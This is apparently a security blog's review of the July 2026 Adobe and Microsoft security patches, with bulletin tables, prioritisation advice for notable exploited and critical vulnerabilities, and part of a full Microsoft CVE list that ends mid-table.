  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
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  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl70">Yes</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121"><span>CVE-2026-54121</span></a></td>
  <td width="256" class="xl74">Active Directory
  Certificate Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45499"><span>CVE-2026-45499 **</span></a></td>
  <td width="256" class="xl74">Azure OpenAI Elevation
  of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564"><span>CVE-2026-48564</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370"><span>CVE-2026-50370</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159"><span>CVE-2026-56159</span></a></td>
  <td width="256" class="xl74">DHCP Server Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382"><span>CVE-2026-50382</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41106"><span>CVE-2026-41106 **</span></a></td>
  <td width="256" class="xl74">Microsoft 365 Copilot
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26145"><span>CVE-2026-26145 **</span></a></td>
  <td width="256" class="xl74">Microsoft Azure
  Synapse Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561"><span>CVE-2026-48561</span></a></td>
  <td width="256" class="xl74">Microsoft Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55011"><span>CVE-2026-55011</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55012"><span>CVE-2026-55012</span></a></td>
  <td width="256" class="xl74">Microsoft Defender
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="96">
  <td class="xl67" height="96"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55944"><span>CVE-2026-55944</span></a></td>
  <td width="256" class="xl74">Microsoft Dynamics NAV
  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57100"><span>CVE-2026-57100 **</span></a></td>
  <td width="256" class="xl74">Microsoft Entra
  Provisioning Service Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55041"><span>CVE-2026-55041</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998"><span>CVE-2026-54998 **</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Online Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><span>CVE-2026-55008</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992"><span>CVE-2026-54992</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50314"><span>CVE-2026-50314</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50467"><span>CVE-2026-50467</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018"><span>CVE-2026-55018</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55022"><span>CVE-2026-55022</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045"><span>CVE-2026-55045</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
